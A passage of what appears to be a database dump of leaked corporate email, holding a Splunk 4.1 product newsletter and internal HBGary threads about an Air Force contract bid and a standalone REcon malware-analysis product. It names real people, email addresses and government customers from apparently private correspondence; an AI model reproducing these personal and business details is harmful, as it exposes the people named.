normal;\r\n      	font-style: italic;\r\n      	color: #ffffff;\r\n      	display: inline;\r\n      	margin: 0;\r\n      	padding: 0 0 6px 0;\r\n      }\r\n      td.sidebar {\r\n      	background-color: #fff;\r\n      	padding-top:10px;\r\n      }\r\n      td.sidebar h2 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #464646;\r\n      	margin: 0 0 10px 0;\r\n      	border-bottom: 1px solid #CCC;\r\n      	text-transform: uppercase;\r\n      }\r\n      td.sidebar ul {\r\n      	margin: 0 0 20px 24px;\r\n      	padding: 0;\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      }\r\n      td.sidebar ul a {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #085982;\r\n      	text-decoration: none;\r\n      }\r\n      td.sidebar p {\r\n      	font-family: Arial;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555;\r\n      	margin: 0 0 14px 0;\r\n      	padding: 0;\r\n      }\r\n      td.sidespace {\r\n         padding: 20px;\r\n      }\r\n      table.options {\r\n      	border-top: 1px solid #9f9862;\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options td {\r\n      	padding: 16px 22px 16px 22px;\r\n      }\r\n      td.border {\r\n      	border-bottom: 1px solid #9f9862;\r\n      }\r\n      table.options h3 {\r\n      	font-family: Arial;\r\n      	font-size: 16px;\r\n      	font-weight: normal;\r\n      	color: #9f9862;\r\n      	margin: 0 0 4px 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p {\r\n      	font-family: Arial;\r\n      	font-size: 13px;\r\n      	font-weight: normal;\r\n      	color: #313131;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      table.options p a {\r\n      	color: #313131;\r\n      	text-decoration: none;\r\n      	border: none;\r\n      	margin: 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar {\r\n         padding: 20px;\r\n      }\r\n      td.mainbar h2 {\r\n      	font-family: Helvetica, Arial, sans-serif;\r\n      	font-size: 24px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	margin: 0 0 10px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar h2 a {\r\n      	font-family: Arial;\r\n      	font-size: 20px;\r\n      	font-weight: bold;\r\n      	color: #9f9862;\r\n         text-decoration: none;\r\n      }\r\n      td.mainbar h3 {\r\n      	font-family: Verdana;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #333333;\r\n      	text-transform: uppercase;\r\n      	margin: 0 0 8px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p {\r\n      	font-family: Arial, Helvetica, sans-serif;\r\n      	font-size: 12px;\r\n      	font-weight: normal;\r\n      	color: #555555;\r\n      	margin: 0 0 16px 0;\r\n      	padding: 0;\r\n      }\r\n      td.mainbar p.top {\r\n      	font-family: Verdana;\r\n      	font-size: 10px;\r\n      	font-weight: normal;\r\n      	color: #44a0df;\r\n      	text-transform: uppercase;\r\n      	width: 100%;\r\n      	text-align: right;\r\n      	margin: 14px 0 4px 0;\r\n      	border-top: 1px solid #CCCCCC;\r\n      }\r\n      table.footer {\r\n      	font-family: Arial;\r\n      	font-size: 11px;\r\n      	font-weight: normal;\r\n      	color: #090909;\r\n      	text-align: center;\r\n      }\r\n      table.footer td {\r\n      	height: 88px;\r\n      }\r\n      table.footer span {\r\n      	color: #ffffff;\r\n      }\r\n      table.bgBottom {\r\n         padding: 10px;\r\n      	background-color: #EEE;\r\n      }\r\n    \r\n \r\n\r\n\r\n\r\n\r\nIf you&nbsp;have trouble viewing this email, read the online version. \r\n \r\n \r\n    \r\n       \r\n         \r\n     \r\n         \r\n           \r\n             \r\n             \r\n                  \r\n                 \r\n                      \r\n                      \r\n                      \r\n 					\r\n 					\r\n 				\r\n 			\r\n 			 \r\n           \r\n          \r\n          \r\n           \r\n             \r\n             \r\n                   \r\n                      \r\n                      \r\n                     Splunk 4.1 Is Here! Now See All Your Live Data In Real Time. \r\n \r\n                     April 5, 2010		\r\n                     \r\n                      \r\n                   \r\n                  \r\n                \r\n             \r\n          \r\n         \r\n          \r\n             \r\n                \r\n                   \r\n                      \r\n                         Dear Splunker, \r\nToday we’re excited to announce the launch of Splunk 4.1.\r\n This release brings the ability to search, report and create dashboards\r\n on all your live streaming data. That’s right, true real-time searches,\r\n live dashboards and immediate visibility across all of your IT \r\ninfrastructure.  \r\nWhy real time? We hear from customers all the time\r\n that Splunk is the best weapon in their IT arsenal. Splunk is flexible \r\nenough to eat all your data sources, scalable enough to work across all \r\nyour datacenters and powerful enough to deliver meaningful information \r\nto any level of the organization. And it does this without relational \r\ndatabases, schemas, specific parsers or adapters.  \r\nNew real time capabilities in Splunk 4.1 mean that you \r\ncan now see incidents and attacks as they occur, monitor application \r\nSLAs in real time, correlate and analyze events on streaming data and \r\ntrack live transactions and online activity.  \r\nWhy is this is a big deal? Traditional \r\ntechnologies direct users down two separate paths: data warehouses for \r\nbig data historical analysis or tools specifically for real-time \r\nmonitoring, resulting in serious tradeoffs due to separate systems with \r\nfundamentally different technology architectures. Splunk 4.1 uniquely \r\ncombines the ability to search, monitor and analyze live streaming data \r\nwith Splunk’s known strengths searching unlimited historical data from \r\nyour IT infrastructure, all from the same interface. What this means is \r\nthat you can now visualize and analyze real-time behavior against a \r\nbackdrop of all your historical IT data.  \r\nIt doesn’t stop there. Splunk 4.1 also includes new \r\nfeatures based on significant user feedback – features designed to \r\nsupport enterprise deployments and individual user productivity:\r\n \r\n	Automatic and configurable data drilldown  Drill down from charts to original events and determine root causes faster. Click on sections of charts to automatically refine searches without having to do so manually.“I was blown away by the drilldown – it’s critical for helping us get to root cause and remediate more quickly.“ -Autodesk \r\n	Event-level workflows  Create workflows directly from data in search results and automate required next steps, such as opening a trouble ticket, blocking an IP address, or looking up a product ID in an external database.“We could use Splunk to monitor for system outages across our IT Operations – I can see the existing systems easily being taken over by Splunk.“ -Global Investment Management Firm \r\n	Scheduled PDF report delivery  Create, schedule and deliver PDFs of any Splunk dashboard, view, search or report and share meaningful information with others in the organization, even non-Splunk users. \r\n	Event type finder and builder  Automatically identify new event types based on recurring patterns in the data.“Using Splunk for the first time was like going from a horse to an automobile. Splunk 4.1 is faster, more reliable, easier to configure, easier to keep running, more scalable and more teachable to our customer base.“ -Largest Federal Integrator \r\n	Single Sign-on (SSO)  Integrates with enterprise single sign-on solutions for transparent authentication of third-party credentials and simplifies credential management.  \r\n \r\nWhat more is there to say other than go get Splunk 4.1 and try it for yourself. Download it here for free and let us know what you think. \r\nHappy Splunking! \r\nErik  \r\nErik Swan \r\nCTO and Co-founder\r\n \r\n                          \r\n                           \r\n                         \r\n                      \r\n                   \r\n                  \r\n                \r\n               \r\n                \r\n                   \r\n                      \r\n                         \r\n  						Still on Splunk 3.x?If you’re \r\nstill on 3.x and haven’t upgraded to Splunk 4.0 because you’re waiting \r\nfor ’live tail’... Wait no more! The real-time capabilities in Splunk 4.1 \r\ngive you live tail on steroids. It provides one interface for all your \r\nlog files anywhere in your infrastructure across all your datacenters, \r\nto search and analyze using the full Splunk search language.  \r\n Download \r\nSplunk 4.1 now and see it for yourself: splunk.com/downloadRegister for the Live WebcastJoin us for\r\n a live webcast where we’ll delve into Splunk 4.1. Learn about the new \r\nfeatures using live data and get your burning questions answered by the \r\nexperts!We’re\r\n running live Splunk 4.1 webcasts on the following dates:\r\n \r\n                           April 8, 2010 – 11:00 am PTApril 13, 2010 – 8:00 am PTApril 13, 2010 – 5:00 pm PT Register Now! \r\n                           \r\n                           \r\n                           Find out more about Splunk 4.1Check out \r\nnew content and videos to learn more about Splunk 4.1. \r\n                           Check out the “What’s New in Splunk 4.1“ page on splunk.com. \r\n								Watch the Splunk 4.1 video demo. \r\n								Get our developer’s view on what’s cool and why.\r\n 							Splunk 4.1: Things to know before you upgradeWe’ve done \r\nsome major re-vamping of our docs, so make sure to check them out. Plus,\r\n there are a few changes in Splunk 4.1 that you’ll want to review before\r\n jumping in and upgrading. \r\nRead more here. \r\n                       \r\n                           Have a question you don’t see addressed in the docs?\r\n Find answers on our new Splunk Answers community website, the place to \r\ngo to get answers about Splunk from Splunk engineers and other Splunk \r\nusers. Check it out at answers.splunk.com.To upgrade or renew your support contract, please contact sales@splunk.com. \r\n                         \r\n                           \r\n                           \r\n                         \r\n                      \r\n                   \r\n                \r\n             \r\n          \r\n         \r\n         \r\n       \r\n    \r\n \r\n\r\n\r\n\r\n\r\n\r\nTo unsubscribe from future emails or to update your e-mail preferences click here. Splunk, Inc. | 250 Brannan St. | San Francisco, CA 94107\r\n\r\n\r\n',747,'aaron_hbgary_com/747.html'),(4886,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003134.M165410P3547Q4886.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Alliant AF OSI RFP Guardian Requirement','A little more information. &nbsp;We are sub to MacB (Macaulay-Brown), whos headquarters is in San Antonio. &nbsp;Their largest customer is the AF so we will work to strengthen that relationship, which needs to start with an overall capabilities briefing at some point in the near future. &nbsp;MacB was very happy with the content that we provided to them during the proposal writing. &nbsp;Award should be announced soon.AaronOn Apr 2, 2010, at 4:31 PM, Penny Leavy-Hoglund wrote:Did you go after this?&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, February 03, 2010 7:03 AMTo:&nbsp;Greg Hoglund; Penny LeavyCc:&nbsp;Ted Vera; Rich Cummings; Bob SlapnikSubject:&nbsp;Fwd: Alliant AF OSI RFP Guardian Requirement&nbsp;Check out this RFP to deliver IR, Forensics, Malware analysis to the airforce. &nbsp;TASC, Inc. wants us to provide the capability to go after this. &nbsp;Ted and I will discuss today to see what we want to do. &nbsp;The total list of companies that can prime this contract are listed here:&nbsp;http://www.google.com/search?client=safari&amp;rls=en&amp;q=Alliant+contract+award&amp;ie=UTF-8&amp;oe=UTF-8&nbsp;On the list the only ones I know of that have a native capability in this area are Mantech and SRA, can you look at the list and tell me who I am missing. &nbsp;We are looking to team with TASC/MacAulay-Brown.&nbsp;Between this, the DARPA BAA and developing a more tactical IR service offering Ted and I will be busy. &nbsp;For all of these we are going to need some writing assistance for content but Ted and I will do most of it.&nbsp;Aaron&nbsp;Begin forwarded message:From:&nbsp;\"Gutierrez, Daniel L (TASC Inc)\" &lt;daniel.gutierrez@TASC.COM&gt;Date:&nbsp;February 2, 2010 4:12:47 PM PSTTo:&nbsp;&lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;Subject: Fw: Alliant AF OSI RFP Guardian Requirement&nbsp;&nbsp;From: Henderson, Van B (TASC Inc)&nbsp;To: Gutierrez, Daniel L (TASC Inc)&nbsp;Sent: Thu Jan 28 14:08:55 2010Subject: FW: Alliant AF OSI RFP Guardian Requirement&nbsp;If interested, I suspect the big question will be how do we get onto Alliant, given TASC does not hold that contract vehicle.&nbsp;Let me know if interested………&nbsp; &nbsp;&nbsp;I still get this info from NG until they figure out not to send to me.&nbsp;&nbsp;Van&nbsp;Van Henderson&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2301,'aaron_hbgary_com/2301.html'),(4887,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003134.M383044P3547Q4887.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Customer demand for a standalone REcon product','That is great news. &nbsp;I am heading up on the 19th (I think I mentioned this) to talk with a Jerry Bodman and Robert Nissen. &nbsp;I am not sure what group they are with yet, but they want to talk about DDNA and Threat Intelligence.BTW, I like greg\'s comments on the $500 dollar boxes :)AaronOn Apr 4, 2010, at 11:15 AM, Bob Slapnik wrote:Aaron,&nbsp;See email chain for more info about the emerging standalone REcon product.&nbsp; The NSA Blue Team (Responder customer) wants a demo in 3 weeks.&nbsp; We can leverage that relationship into ANO and other NSA organizations.&nbsp; Blue Team is actively looking for a sandbox solution and want a solution in place by July/August.&nbsp; REcon as part of Responder demos well, but I want Sac to pull together a demo of the scalable, automated system.&nbsp;Bob&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Sunday, April 04, 2010 11:12 AMTo:&nbsp;\'Greg Hoglund\'Cc:&nbsp;\'Penny Leavy-Hoglund\'; \'Rich Cummings\';&nbsp;\'shawn@hbgary.com\'Subject:&nbsp;RE: Customer demand for a standalone REcon product&nbsp;Greg,&nbsp;Thanks for the review of comparing REcon to the sandbox competition.&nbsp; It is going to be fun selling against them.&nbsp; Off the top of my head I see the following advantages:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon provides lowest level data – all instructions, all data used or generated·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon can recover encrypted data in clear text·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon scales with no upward limit with a fully automated system. We can outfit whatever processing size the customer needs.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also offer a single user version with manual interface with Responder. (I like very much that REcon within Responder is one binary at a time and doesn’t scale.&nbsp; It gives customers a taste for the bigger, more expensive, scalable, standalone REcon. I also like that the standalone REcon requires Responder to read the journal file output.)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary analysis combines static and dynamic analysis in one framework·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary can do REcon and DDNA analysis within the same dynamic analysis run·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Competition has nothing like our r/e capabilities&nbsp;Places where HBGary needs to “catch up” to competition (but will very soon)·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Web interface option·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ability to demo fully automated version (today I’ve only seen the Responder UI version)o&nbsp;&nbsp;&nbsp;Do you have a Standalone REcon setup in Sacramento that we can demo via webex?&nbsp;Just for clarification, is the ESX architecture a thing of the past?&nbsp; Are we 100% using the Gateway machines?&nbsp; In other words, am I to pitch only the Gateway machine approach and not the ESX server approach?&nbsp;Bob&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Saturday, April 03, 2010 2:39 PMTo:&nbsp;Bob SlapnikCc:&nbsp;Penny Leavy-Hoglund; Rich Cummings;&nbsp;shawn@hbgary.comSubject:&nbsp;Re: Customer demand for a standalone REcon product&nbsp;&nbsp;&nbsp;Bob,&nbsp;You need to make it very clear to these customers that HBGary\'s solution will produce vast amounts of&nbsp;functional data that neither CW or Norman will be able to compete with.&nbsp; If they need convincing of that, email them the REcon whitepaper.&nbsp; Tell them we can collect down to the instruction, if they so desire.&nbsp; If they don\'t think they need such low level data, tell them that we can recover clear-text from otherwise encrypted data because of our low level approach.&nbsp; Also, make it clear we can integrate the data in any way to suit their statistical needs, custom to their integration needs.&nbsp; We will deliver them the source code to our C# application that manages the feed farm and statistics, so there is nothing standing in the way between them and success.&nbsp; They can chop it up and manage it any way they want.&nbsp;&nbsp;Oh, and before you piss all over the fact we use $500 gateway machines, wake up to the fact that google runs on the same.&nbsp; These so-called shitty $500 computers have more power than $5000 dollars would have bought you 3 years ago.&nbsp; Also, because they are cheap, they scale on a budget.&nbsp; If you start thinking about solutions-engineering with a real-world budget, you will realize there simply is no better choice than the way we are doing it now.&nbsp; Any other choice would be throwing good money away and probably getting poorer performance and thru-put.&nbsp; If you really think the customer won\'t buy because of the hardware, then triple the price for the same exact through-put and HBGary will unbolt the motherboards and drop them into 1-U rackspace boxes and spray paint them all bright red so it will show off better to whoever the customer is planning on walking through their data facility - since how it looks is obviously more important than actually analyzing malware.&nbsp;&nbsp;-Greg&nbsp;On Sat, Apr 3, 2010 at 9:18 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:Norman and CWSandbox are being considered at Booz, NSA and NG.&nbsp; Purchases haven’t been made yet so it biz we can win.&nbsp;&nbsp;From:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;Sent:&nbsp;Friday, April 02, 2010 2:20 PMTo:&nbsp;\'Bob Slapnik\'; \'Greg Hoglund\'; \'Rich Cummings\'Subject:&nbsp;RE: Customer demand for a standalone REcon product&nbsp;Why aren’t they using Norman or CWSandbox?&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Friday, April 02, 2010 7:06 AMTo:&nbsp;\'Greg Hoglund\'; \'Penny Leavy-Hoglund\'; \'Rich Cummings\'Subject:&nbsp;Customer demand for a standalone REcon product&nbsp;Greg, Penny and Rich,&nbsp;I’ve run into multiple instances where customers/prospects want a standalone REcon product.&nbsp; I see us going forward with a single user REcon as part of Responder and where you must have Responder to consume the REcon journal file.&nbsp; But in addition, we need a standalone, SCALABLE REcon product.&nbsp;Here are some features that Standalone REcon would need:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Has its own licensing schemeo&nbsp;&nbsp;&nbsp;Licensing has a way to that we can charge more depending on how many concurrent REcon instances they want to runo&nbsp;&nbsp;&nbsp;Some customer want to process lots of malware so will need to run REcon in parallel or on fast gear·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;A command line interface so people can run it programmatically·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Its output in an open (non-proprietary) format for easy integration into other technologies·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Configured to run with or without memory analysiso&nbsp;&nbsp;&nbsp;Some people want it for thorough malware analysis so combining runtime data with WPMA data would be greato&nbsp;&nbsp;&nbsp;Some people want to run it as a network in-line device so for speed (minimizing the time) they will want to run the malware and just use the journal file info – not enough time to run WPMA.&nbsp; It would be useful to have DDNA operate on the runtime journal file info.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Some customers may want a web interface.&nbsp;I have no idea when this could fit into the development schedule or if you would require a customer to fund its development.&nbsp; Purpose of this email is to communicate what I’ve seen in selling situations.&nbsp; The setup I describe would also help us compete more directly with Norman and CWSandbox.&nbsp;Bob&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/02/10 02:32:00&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/03/10 02:32:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10194,'aaron_hbgary_com/10194.html'),(4888,'2010-04-05','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297003134.M610563P3547Q4888.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Customer demand for a standalone REcon product','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nBetween these few emails do you have enough info to write a\r\nfirst draft of a proposal?&nbsp; Please let me see it before you submit it.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, April 05, 2010 9:26 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Customer demand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThat is great news. &nbsp;I am heading up on the 19th (I\r\nthink I mentioned this) to talk with a Jerry Bodman and Robert Nissen. &nbsp;I\r\nam not sure what group they are with yet, but they want to talk about DDNA and\r\nThreat Intelligence.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBTW, I like greg\'s comments on the $500 dollar boxes :)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 4, 2010, at 11:15 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSee email chain for more info about the emerging standalone\r\nREcon product.&nbsp; The NSA Blue Team (Responder customer) wants a demo in 3\r\nweeks.&nbsp; We can leverage that relationship into ANO and other NSA\r\norganizations.&nbsp; Blue Team is actively looking for a sandbox solution and\r\nwant a solution in place by July/August.&nbsp; REcon as part of Responder demos\r\nwell, but I want Sac to pull together a demo of the scalable, automated system.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik\r\n[mailto:bob@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 04,\r\n2010 11:12 AM\r\nTo:&nbsp;\'Greg Hoglund\'\r\nCc:&nbsp;\'Penny Leavy-Hoglund\';\r\n\'Rich Cummings\';&nbsp;\'shawn@hbgary.com\'\r\nSubject:&nbsp;RE: Customer\r\ndemand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nGreg,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for the review of comparing REcon to the sandbox\r\ncompetition.&nbsp; It is going to be fun selling against them.&nbsp; Off the\r\ntop of my head I see the following advantages:\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon provides lowest level\r\ndata &#8211; all instructions, all data used or generated\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon can recover encrypted\r\ndata in clear text\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;REcon scales with no upward\r\nlimit with a fully automated system. We can outfit whatever processing size the\r\ncustomer needs.\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also offer a single user\r\nversion with manual interface with Responder. (I like very much that REcon\r\nwithin Responder is one binary at a time and doesn&#8217;t scale.&nbsp; It gives\r\ncustomers a taste for the bigger, more expensive, scalable, standalone REcon. I\r\nalso like that the standalone REcon requires Responder to read the journal file\r\noutput.)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary analysis combines static\r\nand dynamic analysis in one framework\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HBGary can do REcon and DDNA\r\nanalysis within the same dynamic analysis run\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Competition has nothing like\r\nour r/e capabilities\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlaces where HBGary needs to &#8220;catch up&#8221; to competition (but will\r\nvery soon)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Web interface option\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ability to demo fully\r\nautomated version (today I&#8217;ve only seen the Responder UI version)\r\n\r\n\r\n\r\n\r\n\r\no&nbsp;&nbsp;&nbsp;Do\r\nyou have a Standalone REcon setup in Sacramento that we can demo via webex?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust for clarification, is the ESX architecture a thing of the\r\npast?&nbsp; Are we 100% using the Gateway machines?&nbsp; In other words, am I\r\nto pitch only the Gateway machine approach and not the ESX server approach?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund\r\n[mailto:greg@hbgary.com]&nbsp;\r\nSent:&nbsp;Saturday, April 03,\r\n2010 2:39 PM\r\nTo:&nbsp;Bob Slapnik\r\nCc:&nbsp;Penny Leavy-Hoglund;\r\nRich Cummings;&nbsp;shawn@hbgary.com\r\nSubject:&nbsp;Re: Customer\r\ndemand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou need to make it very clear to these customers that\r\nHBGary\'s solution will produce vast amounts of&nbsp;functional data that\r\nneither CW or Norman will be able to compete with.&nbsp; If they need\r\nconvincing of that, email them the REcon whitepaper.&nbsp; Tell them we can\r\ncollect down to the instruction, if they so desire.&nbsp; If they don\'t think\r\nthey need such low level data, tell them that we can recover clear-text from\r\notherwise encrypted data because of our low level approach.&nbsp; Also, make it\r\nclear we can integrate the data in any way to suit their statistical needs,\r\ncustom to their integration needs.&nbsp; We will deliver them the source code\r\nto our C# application that manages the feed farm and statistics, so there is\r\nnothing standing in the way between them and success.&nbsp; They can chop it up\r\nand manage it any way they want.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOh, and before you piss all over the fact we use $500\r\ngateway machines, wake up to the fact that google runs on the same.&nbsp; These\r\nso-called shitty $500 computers have more power than $5000 dollars would have\r\nbought you 3 years ago.&nbsp; Also, because they are cheap, they scale on a\r\nbudget.&nbsp; If you start thinking about solutions-engineering with a\r\nreal-world budget, you will realize there simply is no better choice than the\r\nway we are doing it now.&nbsp; Any other choice would be throwing good money\r\naway and probably getting poorer performance and thru-put.&nbsp; If you really\r\nthink the customer won\'t buy because of the hardware, then triple the price for\r\nthe same exact through-put and HBGary will unbolt the motherboards and drop\r\nthem into 1-U rackspace boxes and spray paint them all bright red so it will\r\nshow off better to whoever the customer is planning on walking through their\r\ndata facility - since how it looks is obviously more important than actually\r\nanalyzing malware.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sat, Apr 3, 2010 at 9:18 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNorman and CWSandbox are being\r\nconsidered at Booz, NSA and NG.&nbsp; Purchases haven&#8217;t been made yet so it biz\r\nwe can win.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund [mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, April 02,\r\n2010 2:20 PM\r\nTo:&nbsp;\'Bob Slapnik\'; \'Greg\r\nHoglund\'; \'Rich Cummings\'\r\nSubject:&nbsp;RE: Customer\r\ndemand for a standalone REcon product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhy aren&#8217;t they using Norman or\r\nCWSandbox?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bob Slapnik 